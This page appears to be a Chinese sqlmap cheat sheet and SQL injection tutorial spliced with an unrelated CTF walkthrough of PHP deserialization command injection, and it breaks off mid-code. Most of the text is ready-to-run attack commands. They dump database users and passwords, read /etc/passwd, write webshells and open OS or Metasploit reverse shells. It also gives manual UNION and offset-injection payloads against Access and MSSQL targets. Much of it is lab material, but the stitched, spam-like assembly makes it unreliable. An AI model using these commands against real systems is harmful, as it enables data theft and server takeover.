獲取數據庫基本信息sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 –dbs查詢(xún)有哪些數據庫sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test –tables查詢(xún)test數據庫中有哪些表sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin –columns查詢(xún)test數據庫中admin表有哪些字段sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin -C “username,password” –dumpdump出字段username與password中的數據其他命令參考下面從數據庫中搜索字段sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password在dedecms數據庫中搜索字段admin或者password。
讀取與寫(xiě)入文件
首先找需要網(wǎng)站的物理路徑,其次需要有可寫(xiě)或可讀權限。–file-read=RFILE 從后端的數據庫管理系統文件系統讀取文件 (物理路徑)–file-write=WFILE 編輯后端的數據庫管理系統文件系統上的本地文件 (mssql xp_shell)–file-dest=DFILE 后端的數據庫管理系統寫(xiě)入文件的絕對路徑#示例:sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”使用shell命令:sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell接下來(lái)指定網(wǎng)站可寫(xiě)目錄:“E:\php\htdocs\dvwa”#注:mysql不支持列目錄,僅支持讀取單個(gè)文件。sqlserver可以列目錄,不能讀寫(xiě)文件,但需要一個(gè)(xp_dirtree函數)
sqlmap基本操作
基本操作筆記:
-u #注入點(diǎn)-f #指紋判別數據庫類(lèi)型-b #獲取數據庫版本信息-p #指定可測試的參數(?page=1&id=2 -p "page,id")-D "" #指定數據庫名-T "" #指定表名-C "" #指定字段-s "" #保存注入過(guò)程到一個(gè)文件,還可中斷,下次恢復在注入(保存:-s "xx.log" 恢復:-s "xx.log" --resume)--level=(1-5) #要執行的測試水平等級,默認為1--risk=(0-3) #測試執行的風(fēng)險等級,默認為1--time-sec=(2,5) #延遲響應,默認為5--data #通過(guò)POST發(fā)送數據--columns #列出字段--current-user #獲取當前用戶(hù)名稱(chēng)--current-db #獲取當前數據庫名稱(chēng)--users #列數據庫所有用戶(hù)--passwords #數據庫用戶(hù)所有密碼--privileges #查看用戶(hù)權限(--privileges -U root)-U #指定數據庫用戶(hù)--dbs #列出所有數據庫--tables -D "" #列出指定數據庫中的表--columns -T "user" -D "mysql" #列出mysql數據庫中的user表的所有字段--dump-all #列出所有數據庫所有表--exclude-sysdbs #只列出用戶(hù)自己新建的數據庫和表--dump -T "" -D "" -C "" #列出指定數據庫的表的字段的數據(--dump -T users -D master -C surname)--dump -T "" -D "" --start 2 --top 4 # 列出指定數據庫的表的2-4字段的數據--dbms #指定數據庫(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)--os #指定系統(Linux,Windows)-v #詳細的等級(0-6) 0:只顯示Python的回溯,錯誤和關(guān)鍵消息。 1:顯示信息和警告消息。 2:顯示調試消息。 3:有效載荷注入。 4:顯示HTTP請求。 5:顯示HTTP響應頭。 6:顯示HTTP響應頁(yè)面的內容--privileges #查看權限--is-dba #是否是數據庫管理員--roles #枚舉數據庫用戶(hù)角色--udf-inject #導入用戶(hù)自定義函數(獲取系統權限)--union-check #是否支持union 注入--union-cols #union 查詢(xún)表記錄--union-test #union 語(yǔ)句測試--union-use #采用union 注入--union-tech orderby #union配合order by--data "" #POST方式提交數據(--data "page=1&id=2")--cookie "用;號分開(kāi)" #cookie注入(--cookies=”P(pán)HPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)--referer "" #使用referer欺騙(--referer "http://www.baidu.com")--user-agent "" #自定義user-agent--proxy "http://127.0.0.1:8118" #代理注入--string="" #指定關(guān)鍵詞,字符串匹配.--threads #采用多線(xiàn)程(--threads 3)--sql-shell #執行指定sql命令--sql-query #執行指定的sql語(yǔ)句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" )--file-read #讀取指定文件--file-write #寫(xiě)入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;將本地的test.txt文件寫(xiě)入到目標的1.txt)--file-dest #要寫(xiě)入的文件絕對路徑--os-cmd=id #執行系統命令--os-shell #系統交互shell--os-pwn #反彈shell(--os-pwn --msf-path=/opt/framework/msf3/)--msf-path= #matesploit絕對路徑(--msf-path=/opt/framework/msf3/)--os-smbrelay #--os-bof #--reg-read #讀取win系統注冊表--priv-esc #--time-sec= #延遲設置 默認--time-sec=5 為5秒-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" #指定user-agent注入--eta #盲注/pentest/database/sqlmap/txt/common-columns.txt 字段字典 common-outputs.txtcommon-tables.txt 表字典keywords.txtoracle-default-passwords.txtuser-agents.txtwordlist.txt<br />
常用語(yǔ)句 :
1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-f -b --current-user --current-db --users --passwords --dbs -v 02./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --passwords -U root --union-use -v 23./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --dump -T users -C username -D userdb --start 2 --stop 3 -v 24./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --dump -C "user,pass" -v 1 --exclude-sysdbs5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --sql-shell -v 26./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --file-read "c:\boot.ini" -v 27./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 28./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-cmd "id" -v 19./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-shell --union-use -v 210./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 111./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-pwn --msf-path=/opt/framework/msf3 -v 112./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-bof --msf-path=/opt/framework/msf3 -v 113./sqlmap.py -u http://www.xxxxx.com/test.php?p=2--reg-add --reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=114./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --eta15./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B -p id --prefix "')" --suffix "AND ('abc'='abc"16./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B --auth-type Basic --auth-cred "testuser:testpass"17./sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"18./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 319./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B --sql-query "SELECT 'foo'" -v 120./sqlmap.py -u "http://192.168.136.129/mysql/g ... ot%3B --common-tables -D testdb --banner21./sqlmap.py -u "http://192.168.136.129/mysql/g ... ot%3B --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string='xx' --dbs --level=3 -p "uid"
簡(jiǎn)單的注入流程 :
1.讀取數據庫版本,當前用戶(hù),當前數據庫
sqlmap -u http://www.xxxxx.com/test.php?p=2-f -b --current-user --current-db -v 1
2.判斷當前數據庫用戶(hù)權限
sqlmap -u http://www.xxxxx.com/test.php?p=2--privileges -U 用戶(hù)名 -v 1sqlmap -u http://www.xxxxx.com/test.php?p=2--is-dba -U 用戶(hù)名 -v 1
3.讀取所有數據庫用戶(hù)或指定數據庫用戶(hù)的密碼
sqlmap -u http://www.xxxxx.com/test.php?p=2--users --passwords -v 2sqlmap -u http://www.xxxxx.com/test.php?p=2--passwords -U root -v 2
4.獲取所有數據庫
sqlmap -u http://www.xxxxx.com/test.php?p=2--dbs -v 2
5.獲取指定數據庫中的所有表
sqlmap -u http://www.xxxxx.com/test.php?p=2--tables -D mysql -v 2
6.獲取指定數據庫名中指定表的字段
sqlmap -u http://www.xxxxx.com/test.php?p=2--columns -D mysql -T users -v 2
7.獲取指定數據庫名中指定表中指定字段的數據
sqlmap -u http://www.xxxxx.com/test.php?p=2--dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2
8.file-read讀取web文件
sqlmap -u http://www.xxxxx.com/test.php?p=2--file-read "/etc/passwd" -v 2
9.file-write寫(xiě)入文件到web
sqlmap -u http://www.xxxxx.com/test.php?p=2--file-write /localhost/mm.php --file使用sqlmap繞過(guò)防火墻進(jìn)行注入測試
sqlmap詳細命令
–is-dba 當前用戶(hù)權限(是否為root權限)–dbs 所有數據庫–current-db 網(wǎng)站當前數據庫–users 所有數據庫用戶(hù)–current-user 當前數據庫用戶(hù)–random-agent 構造隨機user-agent–passwords 數據庫密碼–proxy http://local:8080 –threads 10 (可以自定義線(xiàn)程加速) 代理–time-sec=TIMESEC DBMS響應的延遲時(shí)間(默認為5秒)——————————————————————————————————
Options(選項)
–version 顯示程序的版本號并退出
-h, –help 顯示此幫助消息并退出-v VERBOSE 詳細級別:0-6(默認為1)保存進(jìn)度繼續跑:sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存進(jìn)度sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” –resume 恢復已保存進(jìn)度
Target(目標)
以下至少需要設置其中一個(gè)選項,設置目標URL。-d DIRECT 直接連接到數據庫。-u URL, –url=URL 目標URL。-l LIST 從Burp或WebScarab代理的日志中解析目標。-r REQUESTFILE 從一個(gè)文件中載入HTTP請求。-g GOOGLEDORK 處理Google dork的結果作為目標URL。-c CONFIGFILE 從INI配置文件中加載選項。
Request(請求)
這些選項可以用來(lái)指定如何連接到目標URL。–data=DATA 通過(guò)POST發(fā)送的數據字符串–cookie=COOKIE HTTP Cookie頭–cookie-urlencode URL 編碼生成的cookie注入–drop-set-cookie 忽略響應的Set – Cookie頭信息–user-agent=AGENT 指定 HTTP User – Agent頭–random-agent 使用隨機選定的HTTP User – Agent頭–referer=REFERER 指定 HTTP Referer頭–headers=HEADERS 換行分開(kāi),加入其他的HTTP頭–auth-type=ATYPE HTTP身份驗證類(lèi)型(基本,摘要或NTLM)(Basic, Digest or NTLM)–auth-cred=ACRED HTTP身份驗證憑據(用戶(hù)名:密碼)–auth-cert=ACERT HTTP認證證書(shū)(key_file,cert_file)–proxy=PROXY 使用HTTP代理連接到目標URL–proxy-cred=PCRED HTTP代理身份驗證憑據(用戶(hù)名:密碼)–ignore-proxy 忽略系統默認的HTTP代理–delay=DELAY 在每個(gè)HTTP請求之間的延遲時(shí)間,單位為秒–timeout=TIMEOUT 等待連接超時(shí)的時(shí)間(默認為30秒)–retries=RETRIES 連接超時(shí)后重新連接的時(shí)間(默認3)–scope=SCOPE 從所提供的代理日志中過(guò)濾器目標的正則表達式–safe-url=SAFURL 在測試過(guò)程中經(jīng)常訪(fǎng)問(wèn)的url地址–safe-freq=SAFREQ 兩次訪(fǎng)問(wèn)之間測試請求,給出安全的URL
Enumeration(枚舉)
這些選項可以用來(lái)列舉后端數據庫管理系統的信息表中的結構和數據此外,您還可以運行您自己的SQL語(yǔ)句。-b, –banner 檢索數據庫管理系統的標識–current-user 檢索數據庫管理系統當前用戶(hù)–current-db 檢索數據庫管理系統當前數據庫–is-dba 檢測DBMS當前用戶(hù)是否DBA–users 枚舉數據庫管理系統用戶(hù)–passwords 枚舉數據庫管理系統用戶(hù)密碼哈希–privileges 枚舉數據庫管理系統用戶(hù)的權限–roles 枚舉數據庫管理系統用戶(hù)的角色–dbs 枚舉數據庫管理系統數據庫-D DBname 要進(jìn)行枚舉的指定數據庫名-T TBLname 要進(jìn)行枚舉的指定數據庫表(如:-T tablename –columns)–tables 枚舉的DBMS數據庫中的表–columns 枚舉DBMS數據庫表列–dump 轉儲數據庫管理系統的數據庫中的表項–dump-all 轉儲所有的DBMS數據庫表中的條目–search 搜索列(S),表(S)和/或數據庫名稱(chēng)(S)-C COL 要進(jìn)行枚舉的數據庫列-U USER 用來(lái)進(jìn)行枚舉的數據庫用戶(hù)–exclude-sysdbs 枚舉表時(shí)排除系統數據庫–start=LIMITSTART 第一個(gè)查詢(xún)輸出進(jìn)入檢索–stop=LIMITSTOP 最后查詢(xún)的輸出進(jìn)入檢索–first=FIRSTCHAR 第一個(gè)查詢(xún)輸出字的字符檢索–last=LASTCHAR 最后查詢(xún)的輸出字字符檢索–sql-query=QUERY 要執行的SQL語(yǔ)句–sql-shell 提示交互式SQL的shell
Optimization(優(yōu)化)
這些選項可用于優(yōu)化SqlMap的性能。-o 開(kāi)啟所有優(yōu)化開(kāi)關(guān)–predict-output 預測常見(jiàn)的查詢(xún)輸出–keep-alive 使用持久的HTTP(S)連接–null-connection 從沒(méi)有實(shí)際的HTTP響應體中檢索頁(yè)面長(cháng)度–threads=THREADS 最大的HTTP(S)請求并發(fā)量(默認為1)
Injection(注入)
這些選項可以用來(lái)指定測試哪些參數提供自定義的注入payloads和可選篡改腳本。-p TESTPARAMETER 可測試的參數(S)–dbms=DBMS 強制后端的DBMS為此值–os=OS 強制后端的DBMS操作系統為這個(gè)值–prefix=PREFIX 注入payload字符串前綴–suffix=SUFFIX 注入payload字符串后綴–tamper=TAMPER 使用給定的腳本(S)篡改注入數據
Detection(檢測)
這些選項可以用來(lái)指定在SQL盲注時(shí)如何解析和比較HTTP響應頁(yè)面的內容。–level=LEVEL 執行測試的等級(1-5,默認為1)–risk=RISK 執行測試的風(fēng)險(0-3,默認為1)–string=STRING 查詢(xún)時(shí)有效時(shí)在頁(yè)面匹配字符串–regexp=REGEXP 查詢(xún)時(shí)有效時(shí)在頁(yè)面匹配正則表達式–text-only 僅基于在文本內容比較網(wǎng)頁(yè)
Techniques(技巧)
這些選項可用于調整具體的SQL注入測試。–technique=TECH SQL注入技術(shù)測試(默認BEUST)–time-sec=TIMESEC DBMS響應的延遲時(shí)間(默認為5秒)–union-cols=UCOLS 定列范圍用于測試UNION查詢(xún)注入–union-char=UCHAR 用于暴力猜解列數的字符
Fingerprint(指紋)
-f, –fingerprint 執行檢查廣泛的DBMS版本指紋
Brute force(蠻力)
這些選項可以被用來(lái)運行蠻力檢查。–common-tables 檢查存在共同表–common-columns 檢查存在共同列
User-defined function injection
?。ㄓ脩?hù)自定義函數注入)
這些選項可以用來(lái)創(chuàng )建用戶(hù)自定義函數。–udf-inject 注入用戶(hù)自定義函數–shared-lib=SHLIB 共享庫的本地路徑
File system access(訪(fǎng)問(wèn)文件系統)
這些選項可以被用來(lái)訪(fǎng)問(wèn)后端數據庫管理系統的底層文件系統。–file-read=RFILE 從后端的數據庫管理系統文件系統讀取文件–file-write=WFILE 編輯后端的數據庫管理系統文件系統上的本地文件–file-dest=DFILE 后端的數據庫管理系統寫(xiě)入文件的絕對路徑
Operating system access
?。ú僮飨到y訪(fǎng)問(wèn))
這些選項可以用于訪(fǎng)問(wèn)后端數據庫管理系統的底層操作系統。–os-cmd=OSCMD 執行操作系統命令–os-shell 交互式的操作系統的shell–os-pwn 獲取一個(gè)OOB shell,meterpreter或VNC–os-smbrelay 一鍵獲取一個(gè)OOB shell,meterpreter或VNC–os-bof 存儲過(guò)程緩沖區溢出利用–priv-esc 數據庫進(jìn)程用戶(hù)權限提升–msf-path=MSFPATH Metasploit Framework本地的安裝路徑–tmp-path=TMPPATH 遠程臨時(shí)文件目錄的絕對路徑Windows注冊表訪(fǎng)問(wèn):這些選項可以被用來(lái)訪(fǎng)問(wèn)后端數據庫管理系統Windows注冊表。–reg-read 讀一個(gè)Windows注冊表項值–reg-add 寫(xiě)一個(gè)Windows注冊表項值數據–reg-del 刪除Windows注冊表鍵值–reg-key=REGKEY Windows注冊表鍵–reg-value=REGVAL Windows注冊表項值–reg-data=REGDATA Windows注冊表鍵值數據–reg-type=REGTYPE Windows注冊表項值類(lèi)型這些選項可以用來(lái)設置一些一般的工作參數。-t TRAFFICFILE 記錄所有HTTP流量到一個(gè)文本文件中-s SESSIONFILE 保存和恢復檢索會(huì )話(huà)文件的所有數據–flush-session 刷新當前目標的會(huì )話(huà)文件–fresh-queries 忽略在會(huì )話(huà)文件中存儲的查詢(xún)結果–eta 顯示每個(gè)輸出的預計到達時(shí)間–update 更新SqlMap–save file保存選項到INI配置文件–batch 從不詢(xún)問(wèn)用戶(hù)輸入,使用所有默認配置。
Miscellaneous(雜項)
–beep 發(fā)現SQL注入時(shí)提醒–check-payload IDS對注入payloads的檢測測試–cleanup SqlMap具體的UDF和表清理DBMS–forms 對目標URL的解析和測試形式–gpage=GOOGLEPAGE 從指定的頁(yè)碼使用谷歌dork結果–page-rank Google dork結果顯示網(wǎng)頁(yè)排名(PR)–parse-errors 從響應頁(yè)面解析數據庫管理系統的錯誤消息–replicate 復制轉儲的數據到一個(gè)sqlite3數據庫–tor 使用默認的Tor(Vidalia/ Privoxy/ Polipo)代理地址–wizard 給初級用戶(hù)的簡(jiǎn)單向導界面
思維導圖
涉及資源https://www.cnblogs.com/bmjoke ... %3Bbr />https://blog.csdn.net/qq_39936 ... .html
案例演示1. Access注入用sqlmap判斷數據庫類(lèi)型
嘗試猜字段數,order by 5時(shí)網(wǎng)頁(yè)有回顯,所以字段數為4:46604/new_list.asp?id=1 order by 5
Access只是單純的數據庫,只有數據,沒(méi)有數據庫名,數據庫版本,操作系統等功能,沒(méi)有information_shcema??芍苯硬樵?xún)數據,獲取表名,列名。嘗試聯(lián)合注入查詢(xún)時(shí)沒(méi)有反應:46604/new_list.asp?id=-1 union select 1,2,3,4
用猜解方式猜解表名,列名(常用的一些表名,如admin,admin_login等)網(wǎng)頁(yè)出現回顯:46604/new_list.asp?id=-1 union select 1,2,3,4 from admin
在回顯位嘗試猜解字段
使用sqlmap跑出來(lái)的結果是一樣的:sqlmap -u :49010/new_list.asp?id=1 -T admin --colimns
sqlmap -u :49010/new_list.asp?id=1 -T admin -C username,passwd --dump
2. Access偏移注入偏移注入的使用目前猜測出了表名,但是怎么都猜不出列名,使用聯(lián)合查詢(xún)法來(lái)進(jìn)行偏移注入
接下來(lái)測出偏移量,其實(shí)這個(gè)偏移量就是admin這張表的列的個(gè)數。直接將22改成*號,測試是否回顯正常,不正常就一直往前減,一直減少到回顯正常為止。
這里運氣比較好,直接就爆出了密碼。但是還沒(méi)有用戶(hù)名呢,那么接下來(lái)可以打亂順序來(lái)重置爆出來(lái)的結果,這里可以使用下列方法來(lái)進(jìn)行完成。
從圖中可以看出已經(jīng)爆出了用戶(hù)名為admin了
簡(jiǎn)單說(shuō)下語(yǔ)句UNION?SELECT?1,2,3,*?from?(admin?as?a?inner?join?admin?as?b?on?a.id=b.id),首先為什么從union?select?1,2,3,4,5,6,*?from變成了1,2,3,*呢是這樣推導出來(lái)的:order by 9代表有9個(gè)回顯點(diǎn)1,2,3,4,5,6,*代表admin表的字段數只有3個(gè)admin表變成了(admin?as?a?inner?join?admin?as?b?on?a.id=b.id)這里是將admin重命名為了a和b兩張表然后通過(guò)inner?join?將a表和b表的id相同字段展示出來(lái)a表和b表本來(lái)都是admin表所以id肯定都是相同的(這里要提醒一下,id這個(gè)字段可以換成其它字段,但是一定得存在,一般admin表中都存在id字段的)這樣做的目的就是可以打亂順序來(lái)爆出其它字段但是由于增加了一張表所以字段數得再減少一個(gè)*號的長(cháng)度所以就從6變成了3
3.偏移注入的進(jìn)階
這樣爆東西非常有隨機性如果表的字段比較多而這個(gè)顯示位又比較少的話(huà)是很有可能爆不出自己想要的東西的所以接下來(lái)學(xué)習偏移注入進(jìn)階同樣通過(guò)order?by?和union?select找到了表為admin但是還是掃不出列名,這次回顯點(diǎn)有22個(gè)
測試admin的列的個(gè)數,最終長(cháng)度為6,而且這次什么都沒(méi)爆出來(lái)
開(kāi)始偏移注入,爆出的結果卻是時(shí)間
此時(shí)可以增加a.id或者b.id或者a.id和b.id一起加上去來(lái)打亂隨機的順序,時(shí)間確實(shí)換了,但是又不是我們想要的,這只是一個(gè)數字,可能是id值之類(lèi)的
查看網(wǎng)頁(yè)的源代碼,會(huì )有隱藏的驚喜
發(fā)現這里有隱藏起來(lái)的回顯點(diǎn),爆出來(lái)了用戶(hù)名為admin,但是還沒(méi)有密碼增加表的個(gè)數,修改代碼,UNION SELECT 1,2,3,4,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id),查看源代碼,成功拿到用戶(hù)名和密碼了。
3. SQL server/mssql
https://www.mozhe.cn/bug/detai ... mozhe
通過(guò)pangolin獲取所需數據:
還可以進(jìn)行命令執行和文件管理
key
##手工注入判斷是否是Mssql判斷是否是mssql數據庫,返回正常,說(shuō)明該數據庫是mssql
判斷數據庫版本號,返回正常,說(shuō)明版本號正確
判斷字段長(cháng)度order by 4正常,遍歷至5時(shí)報錯,說(shuō)明字段長(cháng)度為4
尋找字符型顯示位:44626/new_list.asp?id=-2 union all select null,null,null,null這里使用的是 union all,它和 union select 的區別就是:union select 會(huì )自動(dòng)去除一些重復的字段,在這個(gè)靶場(chǎng)使用 union select 是不行的,所以用 union all。使用null 是說(shuō)明它無(wú)關(guān)是字符型還是數字型
猜測顯示位:44626/new_list.asp?id=-2 union all select '1',null,null,null
:44626/new_list.asp?id=-2 union all select null,'2',null,null
:44626/new_list.asp?id=-2 union all select null,'2','3',null
查詢(xún)相關(guān)信息獲取版本信息:44626/new_list.asp?id=-2 union all select null,@@version,'3',null
獲取數據庫名:44626/new_list.asp?id=-2 union all select null,db_name(),'3',null
獲取當前用戶(hù)名:44626/new_list.asp?id=-2 union all select null,user,'3',null:44626/new_list.asp?id=-2 union all select null,system_user,'3',null:44626/new_list.asp?id=-2 union all select null,current_user,'3',null
查詢(xún)表名:44626/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
:44626/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4注釋?zhuān)簄ame not in ('manage') 這段語(yǔ)句意思是查詢(xún) name 不是 'manage' 的,這樣就可以排除 'manage' 從而查詢(xún)下一個(gè)表名
announcement之后還是manage,說(shuō)明就這倆表
獲取列名:44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null注釋?zhuān)篶ol_name 是查詢(xún)的列名,object_id('manage')是從manage這個(gè)表里查詢(xún),1 代表的是查詢(xún)第一個(gè)列名
這邊查詢(xún)出來(lái)第一個(gè)列名是 id,我們繼續查第二個(gè)列名只需要把數字1修改為2就行了col_name(object_id('manage'),2:44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
查詢(xún)出來(lái)第二個(gè)列名是 username,我們繼續查詢(xún)第三個(gè)列名::44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
獲取數據:44626/new_list.asp?id=-2 union all select null,username,password,null from manage
4. PostgraSQL字段
sqlmap判斷數據庫種類(lèi)
查看表名
查看字段名
查看字段值
5. oracle
6. mongoDBNoSQLAttack支持mongoDB的注入工具
然后輸入x返回,輸入4進(jìn)入
往期內容回顧
大哥大哥行行好
一萬(wàn)字也不算少如有幫助請隨意打賞
php抓取網(wǎng)頁(yè)數據插入數據庫 外殼堅硬的谷子
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 81 次瀏覽 ? 2022-06-21 00:51
發(fā)現了一個(gè)java_script腳本(實(shí)際滲透工作中應該關(guān)注此腳本內容,能夠透出出后端的信息)
里面的內容大致的意思是
通過(guò)函數,提交表單,通過(guò)序列化的操作!IP地址等信息交給ipaddres這個(gè)變量序列化的操作!
那么在這里面既然有序列化的操作,是否會(huì )存在一個(gè)反序列化的漏洞類(lèi)型呢?
這里還看到了一個(gè)被包含的js的文件
點(diǎn)擊這個(gè)鏈接 :44441/php.js"
里面的內容大致就是序列化函數,大概率存在序列化操作
先對其頁(yè)面進(jìn)行功能化測試,輸入127.0.0.1
在結果框中輸出了結果
輸入一些運營(yíng)商的DNS的IP地址
結果顯示出來(lái),從結果上來(lái)看,就是通過(guò)操作系統的ping 命令操作得來(lái)的!
總的來(lái)說(shuō)這就是一個(gè)ping的功能界面(輸入Ip ,統計輸出一些信息是由服務(wù)端調用了系統的ping 命令而來(lái))
這個(gè)地方是否會(huì )存在命令注入漏洞呢?
使用;號,|管道符這樣的連接命令,連接一個(gè)系統id的命令
如圖:沒(méi)有任何返回
使用burp抓取請求報文,看一下內部的流量變化,是否存在序列化的數據
先把瀏覽器代理設置好
通過(guò)抓取的報文,得到的是一個(gè)POST的請求方式;
攜帶了一個(gè)obj的對象和一個(gè)ip 的變量要提交到服務(wù)端;
其中這個(gè)obj的對象里的內容經(jīng)過(guò)了url編碼,將它轉換成可識別的路徑
轉換結果,懂得序列化格式的朋友一看就是php文件之后的序列化數據的格式了
pingTest :序列化對象定義的的類(lèi)
1 :代表類(lèi)中一個(gè)數據的提交
ipAddress :類(lèi)中提交的一個(gè)數據的變量名稱(chēng)
s : 代表了序列化
9 : 代表了名稱(chēng)ipAddress 和 127.0.0.1字符串的長(cháng)度。
這就是客戶(hù)端發(fā)送的序列化數據格式到服務(wù)端,服務(wù)端收到了127.0.0.1這個(gè)IP 去完成Ping,然后返回給客戶(hù)端的一個(gè)過(guò)程!
如果覺(jué)得burp字體小,可以調的大一些
重新抓取一個(gè)請求報文,在表單中輸入 127.0.0.1;id(增加了注入命令)
在抓取的請求報文中,將obj和ip 這兩個(gè)類(lèi)中序列化數據解碼成可識別的url,看看有什么變化
序列化的格式基本沒(méi)變,變化的就是賦值多了;id 這樣的內容,字符長(cháng)度也增加到了12個(gè);
證明了表單中輸入注入命令的這些內容,由java_script腳本原封不動(dòng)的變成序列化的內容。
轉發(fā)后,服務(wù)端并沒(méi)有執行該序列化的內容
證明服務(wù)端對ip地址這樣的格式存在檢查機制!
為了弄清這個(gè)問(wèn)題,將這個(gè)原始的命令發(fā)送請求發(fā)送給repeater
url被轉換后,在repeater中點(diǎn)擊send發(fā)送給服務(wù)端
在重放的界面中,可以構造一些注入命令;
我在這里添加 | ls ,發(fā)現服務(wù)端的響應報文有500的狀態(tài)碼
改變了字符的長(cháng)度,雖然不是狀態(tài)碼500的狀態(tài)碼,但是回顯頁(yè)面是黑屏
反序列化的漏洞特征在黑盒測試下,是十分難獲取,除非拿到源碼!
那么接下來(lái),就需要再目標靶機中找源碼,在實(shí)際的滲透工作中,源碼的存儲路徑默認在根路徑下的.git或者.svn這樣的版本庫里
先停止burp的截斷功能;
訪(fǎng)問(wèn)瀏覽器,查看是否有g(shù)it的版本庫文件,結果沒(méi)有提示
查看.svn 也沒(méi)有
再回想之前的信息收集,中曾描述了這么一段話(huà):讓我們關(guān)注其備份文件
再次使用dirbuster這個(gè)工具對secure.cereal.ctf:44441這個(gè)路徑下進(jìn)行隱藏路徑和擴展名的爬取,攜帶體型較大的字典文件
在最終的爬取結果中,看到一些之前沒(méi)有被爬取出的備份文件路徑(根據計算機配置,時(shí)間長(cháng)短不一?。?br /> 先訪(fǎng)問(wèn)/icons/small的路徑,訪(fǎng)問(wèn)路徑看起來(lái)但只是有一些小圖片,這對滲透沒(méi)有什么價(jià)值;
再針對/back_en這個(gè)路徑進(jìn)行隱藏路徑的爬取,這里面是否會(huì )存在一些備份文件呢,還是利用dirbuster,只不過(guò)更換一個(gè)小體積的密碼字典文件,攜帶查詢(xún)擴展名為bak
尋找到了一個(gè)index.php.bak,并且這個(gè)http狀態(tài)碼是200 (這個(gè)狀態(tài)顯示該資源是存在的,并且能夠請求到?。?br /> 既然發(fā)現了這一個(gè)文件,回到kali中,使用wget進(jìn)行下載.index.php.bak
查看文件類(lèi)型,看起來(lái)就是一個(gè)php的腳本文件,只不過(guò)增加了一個(gè)擴展名!
使用kali的文本編輯器mousepad打開(kāi)該文件
看起來(lái)是一個(gè)帶有php標簽的php語(yǔ)言文件;
查看該php源碼文件,發(fā)現有html標簽文件
其中有java腳本文件中的一些序列化操作函數
源碼審計分析
class pingTest ---定義了類(lèi)(反序列化對象的類(lèi))
public $ipAddress = "127.0.0.1";--變量名稱(chēng)和賦值
public $isValid = False; -- 校驗是失敗的
public $output = ""; -- 空值
這是之前抓取的報文中obj對象中有的內容
function validate() {-- 定義了一個(gè)函數
if (!$this->isValid) { -- 校驗isValid函數是真還是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{-- 使用過(guò)濾器對傳入的IpAddress使用方法(使用filter_var進(jìn)行判斷)
$this->isValid = True;--fileter_var函數校驗賦值若成功,將這個(gè)valid值變?yōu)門(mén)rue
}
}
$this->ping(); -- 執行Ping的命令;
}
public function ping() -- 以下是ping 的命令函數具體操作內容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 執行內容就是使用ping 三個(gè)報文;
這里需要明白的是過(guò)濾器FILTERVALIDATE_IP 里的內容是在目標靶機中別的文件里進(jìn)行定義的,其作用就是判斷輸入的內容是不是真正的IP,若是真正的IP,就將isValid改為T(mén)rue;
當post請求接收到來(lái)自obj請求的賦值時(shí),進(jìn)行一個(gè)解碼的操作
f (isset($_POST['obj'])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST['obj'])); --解碼
} else {
$pingTest = new pingTest; -- 新的賦值
}
$pingTest->validate(); --調用vali
